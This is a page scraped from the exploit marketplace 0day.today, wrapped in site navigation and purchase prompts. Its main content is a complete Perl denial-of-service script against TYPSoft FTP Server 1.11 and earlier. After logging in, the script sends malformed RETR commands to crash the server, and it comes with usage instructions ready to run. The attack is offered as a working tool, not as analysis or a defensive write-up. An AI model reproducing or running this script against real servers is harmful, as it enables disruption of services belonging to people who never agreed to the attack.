0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
TYPSoft FTP Server <= 1.11 (RETR) Denial of Service Vulnerability
================================================================= TYPSoft FTP Server <= 1.11 (RETR) Denial of Service Vulnerability ================================================================= #!/usr/bin/perl use IO::Socket; use Socket; print "\n-= TYPSoft FTP Server <= v1.11 DOS =-\n"; print "-= wood (at) Exploitlabs.com =-\n\n"; if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl typsoft-1.11-DOS.pl <host> <user> <pass> [port]\n" }; if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" }; $adr = $ARGV[0]; $usr = $ARGV[1]; $pas = $ARGV[2]; $err1 = "RETR 0"; $err2 = "RETR 1"; $remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr, PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prt\n"; $remote->autoflush(1); print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die "Error: cant send user\n"; print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n" or die "Error: cant send pass\n"; print $remote "$err1/\n" and print "3. Sending : ErrorCode 1...\n"; print $remote "$err2/\n" and print "4. Sending : ErrorCode 2...\n\n"or die "Error: cant send error code\n"; print "Attack done. press any key to exit\n"; $bla= <STDIN>; close $remote; # 0day.today [2024-07-07] #